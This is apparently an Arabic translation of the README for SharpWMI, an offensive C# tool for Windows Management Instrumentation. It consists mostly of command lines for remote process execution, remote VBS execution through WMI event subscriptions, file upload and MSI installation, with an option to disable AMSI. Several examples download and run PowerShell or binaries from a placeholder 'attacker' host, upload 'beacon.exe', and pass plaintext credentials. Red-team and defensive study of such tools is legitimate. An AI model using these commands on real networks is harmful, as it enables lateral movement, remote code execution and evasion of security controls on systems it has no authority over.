
SharpWMI هو تنفيذ بلغة C# لمختلف وظائف WMI.
SharpWMI هو تطبيق بلغة C# لمختلف وظائف WMI. يشمل ذلك الاستعلامات المحلية/عن بُعد عبر WMI، وإنشاء العمليات عن بُعد من خلال win32_process، وتنفيذ نصوص VBS تعسفية عن بُعد عبر اشتراكات أحداث WMI. كما تدعم بيانات الاعتماد البديلة للطرق البعيدة.
@harmj0y هو المؤلف الأساسي.
SharpWMI مرخص تحت رخصة BSD 3-Clause.
تعداد النظام المحلي:
SharpWMI.exe action=query query=""select * from win32_service"" [namespace=BLAH]
تعداد النظام البعيد:
SharpWMI.exe action=query [computername=HOST1[,HOST2,...]] query=""select * from win32_service"" [namespace=BLAH]
تعداد المستخدمين المسجلين دخولهم على النظام البعيد:
SharpWMI.exe action=loggedon [computername=HOST1[,HOST2,...]]
إنشاء عملية عن بُعد:
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
تنفيذ VBS عن بُعد:
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
رفع ملف عبر WMI:
SharpWMI.exe action=upload [computername=HOST[,HOST2,...]] source=""C:\\source\\file.exe"" dest=""C:\\temp\\dest-file.exe"" [amsi=disable]
تعداد جدار الحماية عن بُعد :
SharpWMI.exe action=firewall computername=HOST1[,HOST2,...]
عرض العمليات:
SharpWMI.exe action=ps [computername=HOST[,HOST2,...]]
إنهاء عملية (أول عملية يتم العثور عليها):
SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]]
الحصول على متغيرات البيئة (الكل إذا لم يُعط الاسم):
SharpWMI.exe action=getenv [name=VariableName] [computername=HOST[,HOST2,...]]
تعيين متغير بيئة:
SharpWMI.exe action=setenv name=VariableName value=VariableValue [computername=HOST[,HOST2,...]]
حذف متغير بيئة:
SharpWMI.exe action=delenv name=VariableName [computername=HOST[,HOST2,...]]
تثبيت ملف MSI:
SharpWMI.exe action=install [computername=HOST[,HOST2,...]] path=""C:\\temp\\installer.msi"" [amsi=disable]
ملاحظة:
- أي وظيفة عن بُعد تقبل أيضًا ""username=DOMAIN\\user"" ""password=Password123!"" اختياري.
- إذا لم يُحدد computername، سيتم استهداف المضيف المحلي.
خيار result=true في action=exec (أو action=create بدلاً منه) يجعل SharpWMI يُرجع مخرجات الأمر بعد إنشاء العملية عن بُعد عبر WMI. يعمل ذلك بتخزين مخرجات الأمر في مثيل من كائن WMI عشوائي. ثم يتم جلب ذلك الكائن بواسطة المستدعي وإعادته إلى قيمته الأصلية.
تمت إعادة هيكلة إجراء executevbs مقارنة بالإصدار الأصلي من SharpWMI.
تحديد النص في [script-specification] يقدم الطرق التالية لتوجيه هذه الأداة إلى كود VBS الهدف:
أ) تنفيذ أمر نظام عبر كود VBS مُعد مسبقًا:
SharpWMI.exe action=executevbs [...] command="notepad.exe"
ب) تنزيل أوامر Powershell من URL وتنفيذها من داخل VBS عبر StdIn الخاص بـ Powershell:
SharpWMI.exe action=executevbs [...] url="http://attacker/myscript.ps1"
ج) تنزيل ملف ثنائي من عنوان URL معين، تخزينه في مسار محدد ثم تنفيذه:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe"
د) تنزيل ملف ثنائي من عنوان URL معين، تخزينه في مسار محدد ثم تنفيذ أمر تعسفي:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe" command="%TEMP%\bar.exe -some -parameters"
هـ) قراءة نص VBS من ملف وتنفيذه:
SharpWMI.exe action=executevbs [...] script="myscript.vbs"
و) تنفيذ نص VBS معطى حرفيًا:
SharpWMI.exe action=executevbs [...] script="CreateObject(\\"WScript.Shell\\").Run(\\"notepad.exe\\")"
ز) فك تشفير سلسلة إدخال Base64 تمثل نص VBS وتنفيذها على الجهاز البعيد:
SharpWMI.exe action=executevbs [...] scriptb64="Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIi[...]"
ح) قراءة محتويات ملف معين، فك تشفيرها من Base64 ثم تنفيذها على الجهاز الهدف:
SharpWMI.exe action=executevbs [...] scriptb64="myscript.vbs.b64"
أخيرًا، يمكن أن يحتوي إجراء 'executevbs' على [time-specs] إضافية محددة بالثواني - وهي تحدد مهلات الزناد والانتظار للنص:
SharpWMI.exe action=executevbs [...] trigger=5 timeout=10
SharpWMI.exe action=query query=""select * from win32_process""
SharpWMI.exe action=query query=""SELECT * FROM AntiVirusProduct"" namespace=""root\\SecurityCenter2""
SharpWMI.exe action=loggedon computername=primary.testlab.local
SharpWMI.exe action=query computername=primary.testlab.local query=""select * from win32_service""
SharpWMI.exe action=query computername=primary,secondary query=""select * from win32_process""
SharpWMI.exe action=exec computername=primary.testlab.local command=""powershell.exe -enc ZQBj...""
SharpWMI.exe action=exec computername=primary.testlab.local command=""whoami"" result=true amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local command=""notepad.exe"" eventname=""MyLittleEvent"" amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local username=""TESTLAB\\harmj0y"" password=""Password123!""
SharpWMI.exe action=upload computername=primary.testlab.local source=""beacon.exe"" dest=""C:\\Windows\\temp\\foo.exe"" amsi=disable
SharpWMI.exe action=terminate computername=primary.testlab.local process=explorer
SharpWMI.exe action=getenv name=PATH computername=primary.testlab.local
SharpWMI.exe action=setenv name=FOO value=""BAR"" computername=primary.testlab.local
SharpWMI.exe action=delenv name=FOO computername=primary.testlab.local
SharpWMI.exe action=install computername=primary.testlab.local path=""C:\\temp\\installer.msi""
الحصول على معلومات netstat محلية من جهاز Windows 10 بعيد:
SharpWMI.exe action=query computername=COMPUTER query="Select LocalPort,OwningProcess from MSFT_NetTCPConnection" namespace="ROOT\StandardCIMV2"
نحن لا نخطط لإصدار ملفات ثنائية لـ SharpWMI، لذا ستحتاج إلى ترجمتها بنفسك :)
تم بناء SharpWMI على .NET 3.5 وهو متوافق مع Visual Studio 2015 Community Edition. ببساطة افتح ملف المشروع .sln، اختر "release"، وقم بالبناء.
| المساهمة | المؤلف |
|---|
| تطبيق SharpWMI الأصلي | Will Schroeder @harmj0y |
| فكرة إخراج تنفيذ كود WMI | Evi1cg @Ridter |
| كود تجنب AMSI مأخوذ من SharpMove | Steven Flores 0xthirteen |
| التحسينات، مرونة VBS، رفع الملفات | Mariusz B. / mgeeky @mariuszbit |
| تثبيت ملفات MSI | Justin Bui @slyd0g |